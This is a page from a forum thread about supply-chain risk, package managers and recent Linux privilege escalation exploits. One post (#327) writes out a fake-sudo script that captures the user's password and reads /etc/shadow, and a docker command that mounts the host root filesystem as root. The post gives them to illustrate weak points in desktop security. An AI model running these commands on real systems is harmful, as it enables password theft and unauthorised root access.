For anyone who is running an out-of-support version of Ubuntu (Ubuntu 20 and lower) I highly recommend Ubuntu Pro it gives access to updates and is free for personal use
Maybe you shouldn't install new software for a bit
321–330 of 497 posts
Re: Maybe you shouldn't install new software for a bit
#322Earlier quoted context omitted.
My pet theory is that package managers will one day be seen like we see object-oriented programming today. As something that was once popular but that we've since grown out of. It's also a design flaw that I see in cargo/Rust. Having to import 3rd party packages with who-knows-what dependencies to do pretty much anything, from using async to parsing JSON, it's supply chain vulnerability baked into the language philos…
The industry hasn't grown out of OOP. Go look at any major production codebase businesses rely on and it's fully of objects and classes, including new codebases made very recently. Package managers aren't going anywhere. Even languages that historically bet on large standard libraries have been giving up on that over time (e.g. Java's stdlib comes with XML support but not JSON). Unfortunately, LLMs are also not cheap…
It's a condensed statement. There was a time when I would start a new programming project thinking about class hierarchies, maybe drawing some UML diagrams. I don't do that anymore, and I don't believe it's very common for greenfield projects anymore. But educate me if that's wrong. We've kept some of the good ideas from OOP like namespaces and interfaces and we use them in slightly different contexts now, where OOP may even still be technically possible, but it's not the primary way of doing things anymore. I believe, or at least hope, that we will see a similar kind of evolution for package managers. Where it's still possible to use other people's code, but having packages like left-pad or is-even is no longer how it's commonly being used, even if it may still technically be possible.
Re: Maybe you shouldn't install new software for a bit
#323So what do we do? Pin our dependencies (to hashes when possible), and only update when there are CVEs? But problem is this could lead to abuse of the CVE system to try to force rapid adoption of attacked packages. What prevents this?
Run everything as sudo so they cant escalate any further ;)
Do you know if this exploit works on Docker containers? And if so, I assume it just allows escalation WITHIN the container? So this attack is scary for Linux desktops and servers, but a fully containerized system like common on CI/CD should be good. Right?
Re: Maybe you shouldn't install new software for a bit
#324Earlier quoted context omitted.
>C/C++ are doing fine without package managers. They're not either, every one of these projects contains a gigantic vendor/ folder full of unmaintained libraries, modified so much that keeping up with the latest changes is impossible so they're stuck with whatever version they copied back in 2009.
You make that sound worse than it is. On the overall topic, you have 0 supply chain risk, and the whole thing is local. Also, your code from 2009 is still valid. That would be a foreign concept in some languages like Python.
you have your supply chain risk still, it's just frozen as of 2009 and whatever you vendored back then is as of today swiss cheese; also you'd better have the compiler suite vendored, too (as you should with this strategy).
there's nothing stopping you from using python from 2009 except why would you want to do that to yourself - but the same strategy applies. the reference python implementation is written in C, after all.
Re: Maybe you shouldn't install new software for a bit
#325Earlier quoted context omitted.
What does the D in BSD stand for again?
Distribution. Which is a different word than distro, with a different meaning. Like smart and smartass.
While you’re correct that FreeBSD is not a Linux distribution, the word “distro” is literally short for distribution. It doesn’t have a different meaning like smart and smartass, it’s more like repo and repository.
Re: Maybe you shouldn't install new software for a bit
#326Don't install anything, use an LLM to write everything from scratch. It may have bugs, but no one will know how to exploit them, especially when closed source. Code is cheap and is becoming cheaper by the day. We need new paradigms.
LLMs have been used to scan binary blobs for exploits already. What would be more effective is a system designed with multiple layers of security so any one exploit is largely useless.
They would have to have access to and scan your individual binary. You'd have to describe how you can write a system with multiple layers of security generally for most problems, because I don't see that as being possible.
Re: Maybe you shouldn't install new software for a bit
#327Linux distributions do not need Copy Fail to get root access: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc mkdir -p .local/bin/ cat .local/bin/sudo read -rs -p "[sudo] password for $USER: " PASSWORD echo "" echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow EOF chmod +x .local/bin/sudo attack on next sudo call, shows data accessible only to root. Our security model based on distributions verifying packa…
If `docker` is already there, why even bother with `sudo` when you can just:
docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
Re: Maybe you shouldn't install new software for a bit
#328Don't install anything, use an LLM to write everything from scratch. It may have bugs, but no one will know how to exploit them, especially when closed source. Code is cheap and is becoming cheaper by the day. We need new paradigms.
So no external libraries for anything? Billions of lines of code that duplicate the same thing n-times across an organization? And the benefit is the obscurity of "no one will know how to exploit them"? No, thanks.
Code is becoming so cheap that all you need is a bunch of api's for hardware and your computer will build to that spec. And you can define it in natural language.
Re: Maybe you shouldn't install new software for a bit
#329Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits?
(Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)
Re: Maybe you shouldn't install new software for a bit
#330Don't install anything, use an LLM to write everything from scratch. It may have bugs, but no one will know how to exploit them, especially when closed source. Code is cheap and is becoming cheaper by the day. We need new paradigms.
Next: the back doors are written by the LLM!
You think we are doing well against back doors right now? Pfft.